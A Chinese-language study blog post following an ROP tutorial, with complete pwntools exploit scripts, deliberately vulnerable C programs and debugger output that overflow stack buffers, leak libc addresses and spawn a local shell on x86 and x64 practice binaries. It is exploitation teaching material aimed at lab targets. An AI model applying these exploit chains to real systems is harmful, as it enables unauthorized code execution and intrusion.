这篇博客记录我跟着蒸米大神的文章一步一步学ROP之Linux_x64学习ROP的过程。在进行复现的时候,遇到了一些问题,文章中会提到。
0x00 序 ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。上次我们主要讨论了linux_x86的ROP攻击。
一步一步学ROP之linux_x86篇 http://drops.wooyun.org/tips/6597
在这次的教程中我们会带来上一篇的补充以及linux_x64方面的ROP利用方法,欢迎大家继续学习。
另外文中涉及代码可在我的github下载:
0x01 Memory Leak & DynELF - 在不获取目标libc.so的情况下进行ROP攻击 注意,这一节是上一篇文章的补充,还是讲的x86的ROP。上次讲到了如何通过ROP绕过x86下DEP和ASLR防护。但是我们要事先得到目标机器上的libc.so或者具体的linux版本号才能计算出相应的offset。那么如果我们在获取不到目标机器上的libc.so情况下,应该如何做呢?这时候就需要通过memory leak(内存泄露)来搜索内存找到system()的地址。
这里我们采用pwntools提供的DynELF模块来进行内存搜索。首先我们需要实现一个leak(address)函数,通过这个函数可以获取到某个地址上最少1 byte的数据。拿我们上一篇中的level2程序举例。leak函数应该是这样实现的:
1 2 3 4 5 6 def leak (address) : payload1 = 'a' *140 + p32(plt_write) + p32(vulfun_addr) + p32(1 ) +p32(address) + p32(4 ) p.send(payload1) data = p.recv(4 ) print "%#x => %s" % (address, (data or '' ).encode('hex' )) return data
随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF('./level2'))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup('system', 'libc')来得到libc.so中system()在内存中的地址。
要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。通过readelf -S level2这个命令就可以获取到bss段的地址了。
1 2 3 4 5 6 7 8 9 10 11 $ readelf -S level2 There are 30 section headers, starting at offset 0x1148: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al …… [23] .got.plt PROGBITS 08049ff4 000ff4 000024 04 WA 0 0 4 [24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4 [25] .bss NOBITS 0804a020 001020 000008 00 WA 0 0 4 [26] .comment PROGBITS 00000000 001020 00002a 01 MS 0 0 1 ……
因为我们在执行完read()之后要接着调用system(“/bin/sh”),并且read()这个函数的参数有三个,所以我们需要一个pop pop pop ret的gadget用来保证栈平衡。这个gadget非常好找,用objdump就可以轻松找到。PS:我们会在随后的章节中介绍如何用工具寻找更复杂的gadgets。
整个攻击过程如下:首先通过DynELF获取到system()的地址后,我们又通过read将“/bin/sh”写入到.bss段上,最后再调用system(.bss),执行“/bin/sh”。最终的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *elf = ELF('./level2' ) write_plt = elf.symbols['write' ] read_plt = elf.symbols['read' ] vulfun_addr = 0x08048471 def leak (address) : payload1 = 'A' *140 payload1 += p32(write_plt) payload1 += p32(vulfun_addr) payload1 += p32(1 ) payload1 += p32(address) payload1 += p32(4 ) p.send(payload1) data = p.recv(4 ) print "%#x => %s" % (address,(data or '' ).encode('hex' )) return data p = process('./level2' ) d = DynELF(leak,elf=ELF('./level2' )) system_addr = d.lookup('system' ,'libc' ) print "system_addr= " + hex(system_addr)bss_addr = 0x0804a020 pppr_addr = 0x080484f9 payload2 = 'A' *140 payload2 += p32(read_plt) payload2 += p32(pppr_addr) payload2 += p32(0 ) payload2 += p32(bss_addr) payload2 += p32(8 ) payload2 += p32(system_addr) payload2 += p32(vulfun_addr) payload2 += p32(bss_addr) print "\n###sending payload2 ...###" p.send(payload2) p.send("/bin/sh\0" ) p.interactive()
执行结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 $ python level4_exp.py [*] '/home/buffer/\xe6\xa1\x8c\xe9\x9d\xa2/practice/ROP_x86/0x04/level2' Arch: i386-32 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000 ) [+] Starting local process './level2' : pid 10140 0x8048000 => 7f454c46 [+] Loading from '/home/buffer/\xe6\xa1\x8c\xe9\x9d\xa2/practice/ROP_x86/0x04/level2' : 0xf7ffd918 0x804a004 => 18d9fff7 [+] Resolving 'system' in 'libc.so' : 0xf7ffd918 0x8049f14 => 01000000 0x8049f1c => 0c000000 0x8049f24 => 0d000000 0x8049f2c => 19000000 0x8049f34 => 1b000000 0x8049f3c => 1a000000 0x8049f44 => 1c000000 0x8049f4c => f5feff6f 0x8049f54 => 05000000 0x8049f5c => 06000000 0x8049f64 => 0a000000 0x8049f6c => 0b000000 0x8049f74 => 15000000 0x8049f7c => 03000000 0x8049f80 => 00a00408 0xf7ffd928 => 00000000 0xf7ffd91c => 04dcfff7 0xf7ffdc04 => 00000000 0xf7ffd924 => 08dcfff7 0xf7ffdc0c => 74defff7 0xf7ffde74 => 00000000 0xf7ffdc14 => b031fdf7 0xf7fd31b4 => 9031fdf7 0xf7fd3190 => 2f6c6962 0xf7fd3194 => 2f693338 0xf7fd3198 => 362d6c69 0xf7fd319c => 6e75782d 0xf7fd31a0 => 676e752f 0xf7fd31a4 => 6c696263 0xf7fd31a8 => 2e736f2e 0xf7fd31ac => 36000000 0xf7fd31b0 => 0020e0f7 [!] No ELF provided. Leaking is much faster if you have a copy of the ELF being leaked. 0xf7e02000 => 7f454c46 0xf7fd31b8 => b03dfbf7 0xf7e02004 => 01010103 0xf7fb3db0 => 01000000 0xf7fb3db8 => 0e000000 0xf7fb3dc0 => 0c000000 0xf7fb3dc8 => 19000000 0xf7fb3dd0 => 1b000000 0xf7fb3dd8 => 04000000 0xf7fb3de0 => f5feff6f 0xf7fb3de8 => 05000000 0xf7fb3df0 => 06000000 0xf7fb3df8 => 0a000000 0xf7fb3e00 => 0b000000 0xf7fb3e08 => 03000000 0xf7fb3e0c => 0040fbf7 0xf7e02010 => 03000300 0xf7fb4004 => b031fdf7 0xf7fd31c0 => 08dcfff7 0xf7ffdc18 => 18d9fff7 0xf7e02180 => 474e5500 0xf7e02184 => dd5192a7 0xf7e02188 => 69e33ed6 0xf7e0218c => ca68a6ab 0xf7e02190 => 5740ff9e 0xf7e02194 => 8ec678a7 [*] Trying lookup based on Build ID: dd5192a769e33ed6ca68a6ab5740ff9e8ec678a7 [*] Skipping unavialable libc dd5192a769e33ed6ca68a6ab5740ff9e8ec678a7 [*] .gnu.hash/.hash, .strtab and .symtab offsets [*] Found DT_GNU_HASH at 0xf7fb3de0 0xf7fb3de4 => b821e0f7 [*] Found DT_STRTAB at 0xf7fb3de8 0xf7fb3dec => 18f6e0f7 [*] Found DT_SYMTAB at 0xf7fb3df0 0xf7fb3df4 => 285fe0f7 [*] .gnu.hash parms 0xf7e021b8 => f3030000 0xf7e021bc => 0a000000 0xf7e021c0 => 00020000 [*] hash chain index 0xf7e03390 => b1050000 [*] hash chain 0xf7e05030 => 8ae4ee1c 0xf7e0ba38 => 48310000 0xf7e12760 => 73797374 0xf7e12764 => 656d0074 0xf7e0ba3c => a0ad0300 system_addr= 0xf7e3cda0 [*] Switching to interactive mode $ whoami buffer
0x02 linux_64与linux_86的区别 linux_64与linux_86的区别主要有两点:首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数的话才会保存在栈上。
我们还是拿实际程序做例子进行讲解,level3.c内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void callsystem () { system("/bin/sh" ); } void vulnerable_function () { char buf[128 ]; read(STDIN_FILENO, buf, 512 ); } int main (int argc, char ** argv) { write(STDOUT_FILENO, "Hello, World\n" , 13 ); vulnerable_function(); }
我们打开ASLR并用如下方法编译:
1 $ gcc -fno-stack-protector level3.c -o level3
通过分析源码,我们可以看到想要获取这个程序的shell非常简单,只需要控制PC指针跳转到callsystem()这个函数的地址上即可。因为程序本身在内存中的地址不是随机的,所以不用担心函数地址发生改变。接下来就是要找溢出点了。我们还是用老方法生成一串定位字符串:
1 2 3 $python pattern.py create 150 > payload$ cat payload Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
然后运行gdb ./level3后输入这串字符串造成程序崩溃。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 $ gdb level3 pwndbg> r < payload Starting program: /home/buffer/桌面/practice/ROP_x64/0x01/level3 < payload Hello, World Program received signal SIGSEGV, Segmentation fault. Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004005e7 in vulnerable_function () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────── *RAX 0x97 RBX 0x0 *RCX 0x7ffff7b04260 (__read_nocancel+7) ◂— cmp rax, -0xfff *RDX 0x200 RDI 0x0 *RSI 0x7fffffffdc50 ◂— 0x6141316141306141 ('Aa0Aa1Aa' ) *R8 0x400690 (__libc_csu_fini) ◂— ret *R9 0x7ffff7de7ab0 (_dl_fini) ◂— push rbp *R10 0x37b *R11 0x246 *R12 0x4004c0 (_start) ◂— xor ebp, ebp *R13 0x7fffffffddd0 ◂— 0x1 R14 0x0 R15 0x0 *RBP 0x4134654133654132 ('2Ae3Ae4A' ) *RSP 0x7fffffffdcd8 ◂— 0x3765413665413565 ('e5Ae6Ae7' ) *RIP 0x4005e7 (vulnerable_function+32) ◂— ret ────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────── ► 0x4005e7 <vulnerable_function+32> ret <0x3765413665413565>
奇怪的事情发生了,PC指针并没有指向类似于0x41414141那样地址,而是停在了vulnerable_function()函数中。这是为什么呢?原因就是我们之前提到过的程序使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。但是,虽然PC不能跳转到那个地址,我们依然可以通过栈来计算出溢出点。因为ret相当于“pop rip”指令,所以我们只要看一下栈顶的数值就能知道PC跳转的地址了。其实上面已经可以看到了,这就是pwndbg的好处。
1 2 pwndbg> x/gx $rsp 0x7fffffffdcd8: 0x3765413665413565
在GDB里,x是查看内存的指令,随后的gx代表数值用64位16进制显示。随后我们就可以用pattern.py来计算溢出点。
1 2 3 $ python pattern.py offset 0x3765413665413565 hex pattern decoded as: e5Ae6Ae7 136
可以看到溢出点为136字节。我们再构造一次payload,并且跳转到一个小于0x00007fffffffffff的地址,看看这次能否控制pc的指针。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 $ python -c 'print "A"*136+"ABCDEF\x00\x00"' > payload $ cat payload AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDEF $ gdb level3 pwndbg> r < payload Starting program: /home/buffer/桌面/practice/ROP_x64/0x01/level3 < payload Hello, World Program received signal SIGSEGV, Segmentation fault. Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000464544434241 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────── *RAX 0x91 RBX 0x0 *RCX 0x7ffff7b04260 (__read_nocancel+7) ◂— cmp rax, -0xfff *RDX 0x200 RDI 0x0 *RSI 0x7fffffffdc50 ◂— 0x4141414141414141 ('AAAAAAAA' ) *R8 0x400690 (__libc_csu_fini) ◂— ret *R9 0x7ffff7de7ab0 (_dl_fini) ◂— push rbp *R10 0x37b *R11 0x246 *R12 0x4004c0 (_start) ◂— xor ebp, ebp *R13 0x7fffffffddd0 ◂— 0x1 R14 0x0 R15 0x0 *RBP 0x4141414141414141 ('AAAAAAAA' ) *RSP 0x7fffffffdce0 —▸ 0x7fffffffdd0a ◂— 0x7fffffff *RIP 0x464544434241 ────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────── Invalid address 0x464544434241
可以看到我们已经成功的控制了PC的指针了。所以最终的exp如下:
1 2 3 4 5 6 7 8 9 10 11 from pwn import *elf = ELF('./level3' ) p = process('./level3' ) callsystem_addr = 0x00000000004005b6 payload = 'A' *136 payload += p64(callsystem_addr) p.send(payload) p.interactive()
执行效果如下:
1 2 3 4 5 6 7 8 9 10 11 12 $ python level1_exp.py [*] '/home/buffer/\xe6\xa1\x8c\xe9\x9d\xa2/practice/ROP_x64/0x01/level3' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process './level3' : pid 10522 [*] Switching to interactive mode Hello, World $ whoami buffer
0x03使用工具寻找gadgets 我们之前提到x86中参数都是保存在栈上,但在x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9寄存器里,如果还有更多的参数的话才会保存在栈上。所以我们需要寻找一些类似于pop rdi; ret的这种gadget。如果是简单的gadgets,我们可以通过objdump来查找。但当我们打算寻找一些复杂的gadgets的时候,还是借助于一些查找gadgets的工具比较方便。比较有名的工具有:
1 2 3 4 ROPEME: https://github.com/packz/ropeme Ropper: https://github.com/sashs/Ropper ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master rp++: https://github.com/0vercl0k/rp
这些工具功能上都差不多,找一款自己能用的惯的即可。
下面我们结合例子来讲解,首先来看一下目标程序level4.c的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h> void systemaddr () { void * handle = dlopen("libc.so.6" , RTLD_LAZY); printf ("%p\n" ,dlsym(handle,"system" )); fflush(stdout ); } void vulnerable_function () { char buf[128 ]; read(STDIN_FILENO, buf, 512 ); } int main (int argc, char ** argv) { systemaddr(); write(1 , "Hello, World\n" , 13 ); vulnerable_function(); }
编译方法:
1 gcc -fno-stack-protector level4.c -o level4 -ldl
首先目标程序会打印system()在内存中的地址,这样的话就不需要我们考虑ASLR的问题了,只需要想办法触发buffer overflow然后利用ROP执行system(“/bin/sh”)。但为了调用system(“/bin/sh”),我们需要找到一个gadget将rdi的值指向“/bin/sh”的地址。于是我们使用ROPGadget搜索一下level4中所有pop ret的gadgets。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ ROPgadget --binary level4 --only "pop|ret" Gadgets information ============================================================ 0x00000000004008ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004008ae : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004008b0 : pop r14 ; pop r15 ; ret 0x00000000004008b2 : pop r15 ; ret 0x00000000004008ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004008af : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400700 : pop rbp ; ret 0x00000000004008b3 : pop rdi ; ret 0x00000000004008b1 : pop rsi ; pop r15 ; ret 0x00000000004008ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400601 : ret 0x0000000000400682 : ret 0x2009 Unique gadgets found: 12
结果并不理想,因为程序比较小,在目标程序中并不能找到pop rdi; ret这个gadget。怎么办呢?解决方案是寻找libc.so中的gadgets。因为程序本身会load libc.so到内存中并且会打印system()的地址。所以当我们找到gadgets后可以通过system()计算出偏移量后调用对应的gadgets。(我这里找到了,估计是ROPgadget版本不一样吧,但是不行,exp执行不了,还是libc.so里的可以)
1 2 3 4 $ ROPgadget --binary libc.so.6 --only "pop|ret" | grep rdi 0x0000000000020256 : pop rdi ; pop rbp ; ret 0x0000000000021102 : pop rdi ; ret 0x0000000000067499 : pop rdi ; ret 0xffff
这次我们成功的找到了“pop rdi; ret”这个gadget了。也就可以构造我们的ROP链了。
1 payload = "\x00" *136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
另外,因为我们只需调用一次system()函数就可以获取shell,所以我们也可以搜索不带ret的gadgets来构造ROP链。
1 2 3 4 5 6 7 $ ROPgadget --binary libc.so.6 --only "pop|call" | grep rdi 0x0000000000196aab : call qword ptr [rdi + rbp*2 + 0x7fa40000] 0x000000000019ade3 : call qword ptr [rdi + rbx + 2] 0x000000000007d8b0 : call qword ptr [rdi] 0x0000000000023e56 : call rdi 0x0000000000107419 : pop rax ; pop rdi ; call rax 0x000000000010741a : pop rdi ; call rax
通过搜索结果我们发现,0x00000000000f4739 : pop rax ; pop rdi ; call rax也可以完成我们的目标。首先将rax赋值为system()的地址,rdi赋值为“/bin/sh”的地址,最后再调用call rax即可。
1 payload = "\x00" *136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)
所以说这两个ROP链都可以完成我们的目标,随便选择一个进行攻击即可。最终exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *libc = ELF('libc.so.6' ) p = process('./level4' ) binsh_addr_offset = int(next(libc.search('/bin/sh' ),16 ) - libc.symbols['system' ]) print "binsh_addr_offset= " + hex(binsh_addr_offset)pop_ret_offset = 0x0000000000021102 - libc.symbols['system' ] print "pop_ret_offset= " + hex(pop_ret_offset)print "\n##########receving system addr############\n" system_addr_str = p.recvuntil('\n' ) system_addr = int(system_addr_str,16 ) print "system_addr= " + hex(system_addr)binsh_addr = system_addr + binsh_addr_offset print "binsh_addr= " + hex(binsh_addr)pop_ret_addr = system_addr + pop_ret_offset print "pop_ret_addr= " + hex(pop_ret_addr)payload = 'A' *136 payload += p64(pop_ret_addr) payload += p64(binsh_addr) payload += p64(system_addr) print "\n###########sending payload###########\n" p.send(payload) p.interactive()
运行结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $ python level2_exp.py [*] '/home/buffer/\xe6\xa1\x8c\xe9\x9d\xa2/practice/ROP_x64/0x02/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './level4' : pid 10853 binsh_addr_offset= 0x1479c7 pop_ret_offset= -0x2428e system_addr= 0x7f0357f17390 binsh_addr= 0x7f035805ed57 pop_ret_addr= 0x7f0357ef3102 [*] Switching to interactive mode Hello, World $ whoami buffer
0x04 通用gadgets 因为程序在编译过程中会加入一些通用函数用来进行初始化操作(比如加载libc.so的初始化函数),所以虽然很多程序的源码不同,但是初始化的过程是相同的,因此针对这些初始化函数,我们可以提取一些通用的gadgets加以使用,从而达到我们想要达到的效果。
为了方便大家学习x64下的ROP,level3和level4的程序都留了一些辅助函数在程序中,这次我们将这些辅助函数去掉再来挑战一下。目标程序level5.c如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function () { char buf[128 ]; read(STDIN_FILENO, buf, 512 ); } int main (int argc, char ** argv) { write(STDOUT_FILENO, "Hello, World\n" , 13 ); vulnerable_function(); }
可以看到这个程序仅仅只有一个buffer overflow,也没有任何的辅助函数可以使用,所以我们要先想办法泄露内存信息,找到system()的值,然后再传递“/bin/sh”到.bss段, 最后调用system(“/bin/sh”)。因为原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。但问题在于write()的参数应该如何传递,因为x64下前6个参数不是保存在栈中,而是通过寄存器传值。我们使用ROPgadget并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。那应该怎么办呢?其实在x64下有一些万能的gadgets可以利用。比如说我们用objdump -d ./level5观察一下__libc_csu_init()这个函数。一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 00000000004005c0 <__libc_csu_init>: 4005c0: 41 57 push %r15 4005c2: 41 56 push %r14 4005c4: 41 89 ff mov %edi,%r15d 4005c7: 41 55 push %r13 4005c9: 41 54 push %r12 4005cb: 4c 8d 25 3e 08 20 00 lea 0x20083e(%rip),%r12 # 600e10 <__frame_dummy_init_array_entry> 4005d2: 55 push %rbp 4005d3: 48 8d 2d 3e 08 20 00 lea 0x20083e(%rip),%rbp # 600e18 <__init_array_end> 4005da: 53 push %rbx 4005db: 49 89 f6 mov %rsi,%r14 4005de: 49 89 d5 mov %rdx,%r13 4005e1: 4c 29 e5 sub %r12,%rbp 4005e4: 48 83 ec 08 sub $0x8,%rsp 4005e8: 48 c1 fd 03 sar $0x3,%rbp 4005ec: e8 0f fe ff ff callq 400400 <_init> 4005f1: 48 85 ed test %rbp,%rbp 4005f4: 74 20 je 400616 <__libc_csu_init+0x56> 4005f6: 31 db xor %ebx,%ebx 4005f8: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1) 4005ff: 00 400600: 4c 89 ea mov %r13,%rdx 400603: 4c 89 f6 mov %r14,%rsi 400606: 44 89 ff mov %r15d,%edi 400609: 41 ff 14 dc callq *(%r12,%rbx,8) 40060d: 48 83 c3 01 add $0x1,%rbx 400611: 48 39 eb cmp %rbp,%rbx 400614: 75 ea jne 400600 <__libc_csu_init+0x40> 400616: 48 83 c4 08 add $0x8,%rsp 40061a: 5b pop %rbx 40061b: 5d pop %rbp 40061c: 41 5c pop %r12 40061e: 41 5d pop %r13 400620: 41 5e pop %r14 400622: 41 5f pop %r15 400624: c3 retq
我们可以看到利用0x400606处的代码我们可以控制rbx,rbp,r12,r13,r14和r15的值,随后利用0x4005f0处的代码我们将r15的值赋值给rdx, r14的值赋值给rsi,r13的值赋值给edi,随后就会调用call qword ptr [r12+rbx\*8]。这时候我们只要再将rbx的值赋值为0,再通过精心构造栈上的数据,我们就可以控制pc去调用我们想要调用的函数了(比如说write函数)。执行完call qword ptr [r12+rbx*8]之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。大概思路就是这样,我们下来构造ROP链。这里借用一张别人画的图,看一下栈中的数据分布:
这里再说一下,我用objdump反汇编出来的结果,是r13寄存器的值赋值给rdx、r14寄存器的值赋值给rsi、r15的低三十二位赋值给edi,但是蒸米大神文章中是反过来的,一会可以在exp中体现出来,下面是蒸米大神的反汇编结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ........ 4005f0: 4c 89 fa mov %r15,%rdx 4005f3: 4c 89 f6 mov %r14,%rsi 4005f6: 44 89 ef mov %r13d,%edi 4005f9: 41 ff 14 dc callq *(%r12,%rbx,8) 4005fd: 48 83 c3 01 add $0x1,%rbx 400601: 48 39 eb cmp %rbp,%rbx 400604: 75 ea jne 4005f0 <__libc_csu_init+0x50> 400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx 40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp 400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12 400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13 40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14 40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15 400624: 48 83 c4 38 add $0x38,%rsp 400628: c3 retq
我们先构造payload1,利用write()输出write在内存中的地址。注意我们的gadget是call qword ptr [r12+rbx8],所以我们应该使用write.got的地址而不是write.plt的地址。并且为了返回到原程序中,重复利用buffer overflow的漏洞,我们需要继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止。这里说一下payload1 += “\x00”\ 56这句话,当时纠结了很久,思路不是很清晰,没看懂,一直在调试看栈上的这七个数据存的到底是什么,最后发现根本不用关心它存的是什么,不过这些值会存到rbx、rbp、r12….寄存器中,这里覆盖这些值只是为了让程序返回的时候返回的是main的地址,要想覆盖那个地址就要覆盖前面栈上的数据。这里可能说的啰嗦了,大佬轻喷,我是小白。
1 2 3 4 5 6 7 payload1 = "\x00" *136 payload1 += p64(0x400616 ) + p64(0 ) + p64(0 ) + p64(1 ) + p64(write_got) + p64(8 ) + p64(write_got) + p64(1 ) + p64(0x400600 ) payload1 += "\x00" *56 payload1 += p64(main_addr)
这里看一下覆盖完栈数据后栈上数据的分布:
当我们exp在收到write()在内存中的地址后,就可以计算出system()在内存中的地址了。接着我们构造payload2,利用read()将system()的地址以及“/bin/sh”读入到.bss段内存中。
1 2 3 4 5 6 7 payload2 = "\x00" *136 payload2 += p64(0x400616 ) + p64(0 ) + p64(0 ) + p64(1 ) + p64(read_got) + p64(16 ) + p64(bss_addr) + p64(0 ) + p64(0x400600 ) payload2 += "\x00" *56 payload2 += p64(main_addr)
最后我们构造payload3,调用system()函数执行“/bin/sh”。注意,system()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字节上。
1 2 3 4 5 6 7 payload3 = "\x00" *136 payload3 += p64(0x400616 ) + p64(0 ) + p64(0 ) + p64(1 ) +p64(bss_addr) + p64(0 ) + p64(0 ) + p64(bss_addr+8 ) + p64(0x400600 ) payload3 += "\x00" *56 payload3 += p64(main_addr)
最终exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import *elf = ELF('level5' ) libc = ELF('libc.so.6' ) p = process('./level5' ) write_got = elf.got['write' ] print "write_got= " + hex(write_got)read_got = elf.got['read' ] print "read_got= " + hex(read_got)main_addr = 0x400587 system_off_addr = libc.symbols['write' ] - libc.symbols['system' ] print "system_off_addr= " + hex(system_off_addr)payload1 = "\x00" *136 payload1 += p64(0x400616 ) + p64(0 ) + p64(0 ) + p64(1 ) + p64(write_got) + p64(8 ) + p64(write_got) + p64(1 ) + p64(0x400600 ) payload1 += "\x00" *56 payload1 += p64(main_addr) p.recvuntil("Hello, World\n" ) print "\n################seding payload1################\n" p.send(payload1) sleep(1 ) write_addr = u64(p.recv(8 )) print "write_addr= " + hex(write_addr)system_addr = write_addr - system_off_addr print "system_addr= " + hex(system_addr)bss_addr = 0x601040 payload2 = "\x00" *136 payload2 += p64(0x400616 ) + p64(0 ) + p64(0 ) + p64(1 ) + p64(read_got) + p64(16 ) + p64(bss_addr) + p64(0 ) + p64(0x400600 ) payload2 += "\x00" *56 payload2 += p64(main_addr) p.recvuntil("Hello, World\n" ) print "\n###############seding payload2################\n" p.send(payload2) sleep(1 ) p.send(p64(system_addr)) p.send("/bin/sh\0" ) sleep(1 ) payload3 = "\x00" *136 payload3 += p64(0x400616 ) + p64(0 ) + p64(0 ) + p64(1 ) +p64(bss_addr) + p64(0 ) + p64(0 ) + p64(bss_addr+8 ) + p64(0x400600 ) payload3 += "\x00" *56 payload3 += p64(main_addr) p.recvuntil("Hello, World\n" ) print "\n##############seding payload3###############\n" p.send(payload3) sleep(1 ) p.interactive()
要注意的是,当我们把程序的io重定向到socket上的时候,根据网络协议,因为发送的数据包过大,read()有时会截断payload,造成payload传输不完整造成攻击失败。这时候要多试几次即可成功。如果进行远程攻击的话,需要保证ping值足够小才行(局域网)。最终执行结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 $ python level5_exp.py [*] '/home/buffer/\xe6\xa1\x8c\xe9\x9d\xa2/practice/ROP_x64/0x03/level5' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/home/buffer/\xe6\xa1\x8c\xe9\x9d\xa2/practice/ROP_x64/0x03/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './level5' : pid 13296 write_got= 0x601018 read_got= 0x601020 system_off_addr= 0xb1f20 write_addr= 0x7f14523e92b0 system_addr= 0x7f1452337390 [*] Switching to interactive mode $ whoami buffer
0x05 EDB调试器 我们在学习Linux ROP的过程中一定少不了调试这一环节,虽然gdb的功能很强大,但命令行界面对很多人来说并不友好。很多学习Windows调试的人用惯了ollydbg再接触gdb的话总感觉很难上手。其实在linux下也有类似于ollydbg的调试工具,那就是EDB-debugger。这里给出edb的下载地址,具体的编译请参考readme:
